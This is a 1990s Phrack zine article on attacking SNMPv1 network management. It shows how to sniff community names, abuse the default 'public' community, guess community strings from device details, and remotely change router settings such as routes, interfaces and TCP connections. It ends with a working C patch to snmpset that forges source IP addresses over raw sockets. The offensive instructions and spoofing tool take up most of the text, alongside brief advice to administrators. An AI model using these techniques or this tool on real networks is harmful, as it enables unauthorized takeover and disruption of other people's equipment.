home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / zines / phrack2 / p50_07.txt < prev    next >
Encoding:
Text File  |  2003-06-11  |  18.3 KB  |  448 lines

  1.                                 .oO Phrack 50 Oo.
  2.  
  3.                             Volume Seven, Issue Fifty
  4.  
  5.                                      7 of 16
  6.  
  7.                 Network Management Protocol Insecurity: SNMPv1
  8.                                  alhambra [guild]
  9.                               alhambra@infonexus.com
  10.  
  11.  
  12. As networks have become larger and more complex, a need has been felt by 
  13. certain portions of the network administration crowd to implement network
  14. management protocols.  From an administrative point of view, this makes
  15. a lot of sense; centralize the administration of the network, and make it
  16. convenient and easy for the administrator to monitor and administer changes
  17. as needed.  As usual, however, from the security point of view, these 
  18. protocols are a potential for catastrophe.
  19.  
  20. In this article, we'll explore the world of SNMPv1.  In two later articles
  21. (to be published in later issues of Phrack) we'll look into other network 
  22. management schemes (SNMPv2, DCE, etc).  SNMPv1 has been around for a while.  
  23. In fact, a number of the problems outlined in this paper have been fixed
  24. with the release of SNMPv2.  As usual, however, large networks who placed
  25. their original administration burdens on SNMPv1 have been slow to change.
  26. As a result, large corporations, universities, and some small/cheap ISP's 
  27. still run their routers/hubs/bridges/hosts/etc with version 1 enabled, often
  28. in horribly set up configurations.  
  29.  
  30. The SNMP protocol
  31.  
  32. The SNMP protocol has 5 simple types of messages.  They are get-request,
  33. get-next-request, set-request, get response and trap.  We will concentrate
  34. on using the get-* messages to retrieve information from remote sites, routers
  35. and the like, and the set-request to manipulate a variety of settings on our
  36. target.
  37.  
  38. SNMP uses UDP as it transport mechanism.  The basic layout of an SNMP packet
  39. is:
  40. +-----------------------------------------------------------------------------+
  41. |IP |UDP|Version|Community|PDU |Request|err.|err. |name|value|name|value| ... |
  42. |Hdr|Hdr|       |         |Type|  ID   |stat|index|    |     |    |     |     |
  43. +-----------------------------------------------------------------------------+
  44.  
  45. Community is SNMP's authentication mechanism.  PDU type is the type of message
  46. being sent (get-request, set request, etc.)  Request ID is used to 
  47. differentiate between requests. Error status is (obviously) used to transport 
  48. error messages, and error index gives the offset of the variable which was in
  49. error.  Finally, name and value represent the name of the field requested and 
  50. either the value to set it to or the value of it on the remote server.  These 
  51. are defined by a MIB written in ASN.1, and encoded using a code called BER. 
  52. ASN.1 is used to define data and the types and properties of this data.  
  53. BER is used to actually transmit the data in a platform independent manner 
  54. (similar perhaps to XDR.)  
  55.  
  56. The values that can be fetched and set via SNMP are defined in what is called
  57. the Message Information Base or MIB.  The MIB is written in ASN.1, and defines
  58. all the different variable classes, types, variables and whatnot associated
  59. with SNMP.  Standard things in the MIB are classes used to define variables
  60. associated with data for statistics and values for the system as a whole, the
  61. interfaces on the system, (possibly) an address translation table, IP, TCP,
  62. UDP, ICMP, and so on, depending on just what kind of system the agent is
  63. running on. 
  64.  
  65. Where exactly do SNMPv1's security flaws lie?  We can narrow them down to
  66. 4 general problem areas:
  67. 1) Use of UDP as a transport mechanism
  68. 2) Use of clear text community names and the presence 
  69.     of default, overpriveleged communities
  70. 3) Information avaialable
  71. 4) Ability to remotely modify parameters.
  72.  
  73. They're all related to one another.  We'll go through one by one, define
  74. the problem, and explain how it is exploitable.  Unfortunately, most of 
  75. SNMPv1 (from here on out, we'll just call it SNMP) problems stem from its 
  76. design, and have no easy solution barring the move to SNMPv2 or some other 
  77. network management protocol.  Some common sense, however, can minimize the 
  78. problems in most situations.
  79.  
  80.  
  81.  
  82. UDP as a transport mechanism
  83.  
  84.   I know I'm not alone in feeling that UDP is, at best, a poor idea when
  85. used in any sort of application that requires any level of security.  The
  86. fact that UDP is connectionless leads to a myriad of problems with
  87. regard to host based authentication, which unfortunately enough, SNMP uses
  88. as one of its mechanisms.  So we have 2 basic attacks due to the fact that
  89. a UDP transport is used.  First, we can easily spoof packets to a server, and
  90. modify/add/reconfigure the state of the server.  As we're using a spoofed
  91. source address, there isn't any way to get the return message, but the 
  92. machine we are spoofing will simply drop the response message, and the server
  93. is none the wiser.  Using our 'snmpset' program which has been modified to
  94. use a raw socket to allow us to forge the source address, we can modify any
  95. value in the MIB defined as read-write ASSUMING WE HAVE A PRIVELEGED COMMUNITY
  96. NAME.  
  97.  
  98. snmpset -v 1 -e 10.0.10.12 router.pitiful.com cisco00\
  99.         system.sysName.0 s "owned"
  100.  
  101. Changes our the router name to 'owned', just in case we want to be really
  102. obvious that this router has crappy security.
  103.  
  104. But how do we go about getting a legitimate community name?  We have a few
  105. different methods we can employ.
  106.  
  107.  
  108. Use of cleartext community names, and default communities
  109.  
  110.    One of the most laughable things about the SNMP protocol is its 
  111. "authentication" method.  I use the term authentication in the loosest
  112. sense only, as it makes me cringe when I think about it.  SNMP only
  113. can authenticate based on two different elements.  The source address, as
  114. we saw above, it trivial to forge, rendering address based authentication
  115. useless.  The second method is the use of "community" names.  Community names
  116. can be thought of as passwords to the SNMP agent.  As easily as plaintext
  117. password can be sniffed from telnet, rlogin, ftp and the like, we can sniff
  118. them from SNMP packets.  As a matter of fact, it's easier, as every SNMP
  119. packet will have the community name.  Grab your favorite sniffer (sniffer, not
  120. password sniffer) and head over to your favorite segement running SNMP.  My
  121. sniffer of choice is 'snoop' so I'll use it as my example, though using any
  122. other sniffer should be easy.  SNMP uses port 161.  The field we're after, the
  123. community, is typically 6-8 characters long.  Cranking up snoop on my segment
  124. reveals the following. (IP's changed to protect the stupid, of course)
  125.  
  126. # snoop -x 49,15 port 161
  127. Using device /dev/le (promiscuous mode)
  128. 10.20.48.94 -> 10.20.19.48 UDP D=161 S=1516 LEN=62
  129.  
  130.            0: 0572 3232 3135 a028 0202 009c 0201 0002    .r4485.(.......
  131.  
  132. There we go.  Using this community name we're able to grab all the info
  133. we want, and modify all the parameter and whatnot we desire.  Easy enough...
  134. if you're able to sniff the segment.  But what happens when you can't?
  135.  
  136.  
  137. Available Information
  138.  
  139. When you can't sniff the segment, life gets a little more complicated.  But
  140. only a little.  We have a few things on our side that may come in handy.  
  141. First off, almost always there is a default 'public' community.  Very few 
  142. admin's take the time to deactivate this community, nor realize the risk it
  143. poses.  Using this community, we can usually read all the information we want.
  144. Quite often, being able to read the information gives us enough clues to
  145. try to brute force a legitimate community name.
  146.  
  147. snmpwalk -v 1 router.pitiful.com public system
  148. will dump the contents of the system table to us, returning something like:
  149.  
  150. system.sysDescr.0 = "Cisco Internetwork Operating System Software ..IOS (tm) GS
  151. Software (RSP-K-M), Version 11.0(4), RELEASE SOFTWARE (fc1)..Copyright (c) 1986
  152. -1995 by cisco Systems, Inc...Compiled Mon 18-Dec-95 22:54 by alanyu"
  153. system.sysObjectID.0 = OID: enterprises.Cisco.1.45
  154. system.sysUpTime.0 = Timeticks: (203889196) 23 days, 14:21:31
  155. system.sysContact.0 = "Jeff Wright"
  156. system.sysName.0 = "hws"
  157. system.sysLocation.0 = ""
  158. system.sysServices.0 = 6
  159.  
  160. We see that we're dealing with a cisco router, and we see it's contact's name,
  161. and the system name.  Same as we might do with guessing passwords, we can use
  162. this information to try to piece together a community name.  Popular favorites
  163. include stuff like 'admin' 'router' 'gateway' and the like, combined with
  164. numbers or whatnot.  Trying something like 'routerhws' for the above example
  165. might work.  It might not.  While failed attempts are noted, very few people,
  166. if any, ever check for them.  (as it turns out, the above router had a 
  167. community name of 'cisco00'.  Imaginative, eh?)  
  168.  
  169. Even if only public works, there's lots of interesting things available via
  170. SNMP.  We can dump routing tables, connection tables, statistics on router use.
  171. In certain situations, we can even get information on packet filters in place,
  172. and access control rules. All are useful information to have in setting up 
  173. attacks in conventional manners.   Sometimes public is even given r/w on
  174. certain tables, and we can do most of what we need to do via that account.
  175. When we do have a priveledged community though, the fun begins.
  176.  
  177.  
  178. Remote Manipulation via SNMP
  179.  
  180. We have all the elements we need to remotely configure the network.  We have
  181. a community name, we have the ability to forge the manager (the SNMP client)
  182. address.  All we need to figure out is what we can modify.  This really 
  183. varies.  There are a set of defaults that almost every SNMP'able machine
  184. will have.  In addition to these, though, are the 'enterprise' MIB's, which
  185. define vendor specific SNMP tables and fields.  There's really too much to go
  186. into here.  Check out ftp://ftp.cisco.com/ or ftp://ftp.ascend.com/ , for
  187. example...most vendors make their MIB's easy to find.  Cisco's web page also
  188. has a great introduction to their enterprise MIB's, which detail all the
  189. differences between different IOS release levels and whatnot.
  190. IN the meantime, though, check out the following as fun places to begin:
  191.  
  192. system.sysContact   \
  193. system.sysName       |- really sorta pointless to change, but hey...whatever.
  194. system.sysLocation  /
  195.  
  196. interfaces.ifTable.ifAdminStatus.n (where n is a number, starting at 0)
  197.  
  198. at.atTable.atIfIndex.n
  199. at.atTable.atPhysAddress.n
  200. at.atTable.atNetAddress.n
  201.  
  202. ip.ipForwarding
  203. ip.ipDefaultTTL
  204. ip.ipRouteTable.* (there's tons of stuff in this table)
  205. ip.ipNetToMediaTable.* (same as above)
  206.  
  207. tcp.tcpConnState.* (only setable to 12, which deletes the TCB)
  208.  
  209. and so on.  If you have a copy of TCP/IP Illustrated Vol. 1, the SNMP chapter
  210. will give you a set of tables with the types of all these values.  If you don't
  211. have TCP/IP Illustrated, get off your computer and go buy it.
  212.  
  213. Remember, people don't really like it too much when you muck with their 
  214. equipment.  Act responsibly.  
  215.  
  216. And to the admins reading this: TURN OFF SNMPv1!  Think about it.  Any time
  217. you allow control of you network via the network in a manner as unsafe as
  218. how SNMPv1 does it, you're creating more problems for yourself.  Realizing
  219. its all about acceptable risks, realize this isn't one.  Go investigate 
  220. alternate network management software.  Realize, however, there are always
  221. going to be problems.  (I don't recommend SNMPv2, however...a few months from
  222. now when I release my SNMPv2 article and tools, you'll be glad you are not
  223. running it)
  224.  
  225. Resources:
  226. The software I use is based on the UCD modifications to the CMU SNMP 
  227. distribution.  It is available at:
  228.  
  229. ftp://ftp.ece.ucdavis.edu/pub/snmp/ucd-snmp-3.1.3.tar.gz
  230.  
  231. Following this article there is a patch, which are the modifications to
  232. the snmplib to support address spoofing, and modifications to the 'snmpset'
  233. app to support them.  The patch is only known to work under Solaris, though
  234. it should take only minor changes to move it to any other platform.
  235.  
  236. ftp.cisco.com/pub/mibs and ftp.ascend.com/pub/Software-Releases/SNMP/MIBS
  237. contain the enterprise MIBS for a variety of different pieces of hardware.
  238. www.cisco.com/univercd/ contains tons of info on a variety of different 
  239. Cisco hardware and software, including great references on SNMP under IOS.
  240.  
  241. http://www.cs.tu-bs.de/ibr/cgi-bin/sbrowser.cgi
  242.  
  243. has a MIB browser, which allows you to use your favorite web client to
  244. peruse the standard as well as vendor MIBs  on thier site.
  245.  
  246. RFC's!  Yes!  All of them.  Go to http://www.internic.net/ds/dspg0intdoc.html
  247. and read them.  Do a search for SNMP and you'll get back tons of hits.  
  248. They're a little...hrm...terse at times, but these are the defacto definitions
  249. of SNMP.  Skimming them will give you more info than you can imagine.
  250.  
  251.  
  252. <++> SNMPv1/snmp.diff
  253. *** apps/snmpset.c      Mon Jan 20 09:07:22 1997
  254. -- apps/snmpset.c       Tue Apr  8 17:21:03 1997
  255. ***************
  256. *** 77,83 ****
  257.   
  258.   void
  259.   usage(){
  260. !     fprintf(stderr, "Usage: snmpset -v 1 [-q] hostname community [objectID typ
  261. e value]+    or:\n");
  262.       fprintf(stderr, "Usage: snmpset [-v 2] [-q] hostname noAuth [objectID type
  263.  value]+     or:\n");
  264.       fprintf(stderr, "Usage: snmpset [-v 2] [-q] hostname srcParty dstParty con
  265. text [oID type val]+\n");
  266.       fprintf(stderr, "\twhere type is one of: i, s, x, d, n, o, t, a\n");
  267. --- 77,83 ----
  268.   
  269.   void
  270.   usage(){
  271. !     fprintf(stderr, "Usage: snmpset -v 1 [-e fakeip] [-q] hostname community [
  272. objectID type value]+    or:\n");
  273.       fprintf(stderr, "Usage: snmpset [-v 2] [-q] hostname noAuth [objectID type
  274.  value]+     or:\n");
  275.       fprintf(stderr, "Usage: snmpset [-v 2] [-q] hostname srcParty dstParty con
  276. text [oID type val]+\n");
  277.       fprintf(stderr, "\twhere type is one of: i, s, x, d, n, o, t, a\n");
  278. ***************
  279. *** 85,90 ****
  280. --- 85,93 ----
  281.       fprintf(stderr, "\t\tn: NULLOBJ, o: OBJID, t: TIMETICKS, a: IPADDRESS\n");
  282.   }
  283.   
  284. + extern char *fakeaddr;
  285. + extern int nastyflag;
  286.   int
  287.   main(argc, argv)
  288.       int           argc;
  289. ***************
  290. *** 152,158 ****
  291.                           usage();
  292.                           exit(1);
  293.                       }
  294. !                     break;
  295.                 default:
  296.                     printf("invalid option: -%c\n", argv[arg][1]);
  297.                     break;
  298. --- 155,165 ----
  299.                           usage();
  300.                           exit(1);
  301.                       }
  302. !                   break;
  303. !               case 'e':
  304. !                       fakeaddr = argv[++arg];
  305. !                       nastyflag = 1;
  306. !                       break;
  307.                 default:
  308.                     printf("invalid option: -%c\n", argv[arg][1]);
  309.                     break;
  310. *** snmplib/snmp_api.c  Mon Jan 20 10:43:20 1997
  311. -- snmplib/snmp_api.c   Tue Apr  8 17:21:08 1997
  312. ***************
  313. *** 58,63 ****
  314. --- 58,71 ----
  315.   #include <sys/select.h>
  316.   #endif
  317.   #include <sys/socket.h>
  318. + #include <netinet/in_systm.h>
  319. + #include <netinet/in.h>
  320. + #include <netinet/ip_var.h>
  321. + #include <netinet/ip.h>
  322. + #include <netinet/udp.h>
  323. + #include <netinet/udp_var.h>
  324. +  
  325.   #include <netdb.h>
  326.   #include "asn1.h"
  327.   #include "snmp.h"
  328. ***************
  329. *** 847,852 ****
  330. --- 855,882 ----
  331.       }
  332.       return 0;
  333.   }
  334. + /* EVIL STUFF in_cksum for forged ip header */
  335. + unsigned short in_cksum(addr, len)
  336. +     u_short *addr;
  337. +     int len;
  338. + {
  339. +     register int nleft = len;
  340. +     register u_short *w = addr;
  341. +     register int sum = 0;
  342. +     u_short answer = 0;
  343. +     while (nleft > 1)  {
  344. +         sum += *w++;
  345. +         nleft -= 2;
  346. +     }
  347. +     if (nleft == 1) {
  348. +         *(u_char *)(&answer) = *(u_char *)w ;
  349. +         sum += answer;
  350. +     }
  351. +     sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
  352. +     sum += (sum >> 16);         /* add carry */
  353. +     answer = ~sum;              /* truncate to 16 bits */
  354. +     return(answer);
  355. + }
  356.   
  357.   /*
  358.    * Sends the input pdu on the session after calling snmp_build to create
  359. ***************
  360. *** 857,862 ****
  361. --- 887,894 ----
  362.    * On any error, 0 is returned.
  363.    * The pdu is freed by snmp_send() unless a failure occured.
  364.    */
  365. + char *fakeaddr = NULL;
  366. + int nastyflag = 0;
  367.   int
  368.   snmp_send(session, pdu)
  369.       struct snmp_session *session;
  370. ***************
  371. *** 1013,1026 ****
  372.         xdump(packet, length, "");
  373.           printf("\n\n");
  374.       }
  375.   
  376. !     if (sendto(isp->sd, (char *)packet, length, 0,
  377. !              (struct sockaddr *)&pdu->address, sizeof(pdu->address)) < 0){
  378. !       perror("sendto");
  379. !       snmp_errno = SNMPERR_GENERR;
  380. !       return 0;
  381. !     }
  382.   /*    gettimeofday(&tv, (struct timezone *)0); */
  383.       tv = Now;
  384.       if (pdu->command == GET_REQ_MSG || pdu->command == GETNEXT_REQ_MSG
  385. --- 1045,1099 ----
  386.         xdump(packet, length, "");
  387.           printf("\n\n");
  388.       }
  389. +    if(nastyflag == 1)
  390. +       {
  391. +         struct ip *ip_hdr;
  392. +         struct udphdr *udp_hdr;
  393. +         char *payload;
  394. +         int socky;
  395. +         struct sockaddr_in dest;
  396. +         payload = (char*) malloc
  397. +                 (sizeof(struct ip)
  398. +                  + (sizeof(struct udphdr)) + length);
  399. +         ip_hdr = (struct ip*) payload;
  400. +         ip_hdr->ip_v=4;
  401. +         ip_hdr->ip_hl=5;
  402. +         ip_hdr->ip_tos=0;
  403. +         ip_hdr->ip_off=0;
  404. +         ip_hdr->ip_id=htons(1+rand()%1000);
  405. +         ip_hdr->ip_ttl=255;
  406. +         ip_hdr->ip_p=IPPROTO_UDP;
  407. +         ip_hdr->ip_len = htons(sizeof(struct ip) + sizeof(struct udphdr) + len
  408. gth);
  409. +         ip_hdr->ip_src.s_addr = inet_addr(fakeaddr);
  410. +         ip_hdr->ip_dst = pdu->address.sin_addr;
  411. +         ip_hdr->ip_sum = in_cksum(&ip_hdr,sizeof(ip_hdr));
  412. +  
  413. +         udp_hdr = (struct udphdr *) (payload + sizeof(struct ip));
  414. +         udp_hdr->uh_sport = htons(10000+rand()%20000);
  415. +         udp_hdr->uh_dport = htons(161);
  416. +         udp_hdr->uh_ulen = htons(length + sizeof(struct udphdr));
  417. +         udp_hdr->uh_sum = 0;
  418. +         memcpy(payload + sizeof(struct udphdr)+sizeof(struct ip),packet,length
  419. );
  420. +         dest.sin_family = AF_INET;
  421. +         dest.sin_port = htons(161);
  422. +         dest.sin_addr = pdu->address.sin_addr;
  423. +         socky = socket(AF_INET,SOCK_RAW,IPPROTO_RAW);
  424. +         fprintf(stderr,"Payload size:%d sent\n",sendto(socky,payload,28+length
  425. ,0,
  426. +                                      (struct sockaddr *)&dest,sizeof(dest)));
  427. +       exit(0);
  428.   
  429. !       }
  430. !       else
  431. !       {
  432. !               if (sendto(isp->sd, (char *)packet, length, 0,
  433. !                  (struct sockaddr *)&pdu->address, 
  434. !                          sizeof(pdu->address)) < 0)
  435. !                 {
  436. !                       perror("sendto");
  437. !                       snmp_errno = SNMPERR_GENERR;
  438. !                       return 0;
  439. !                 }
  440. !          }
  441.   /*    gettimeofday(&tv, (struct timezone *)0); */
  442.       tv = Now;
  443.       if (pdu->command == GET_REQ_MSG || pdu->command == GETNEXT_REQ_MSG
  444. <--> SNMPv1/snmp.diff
  445.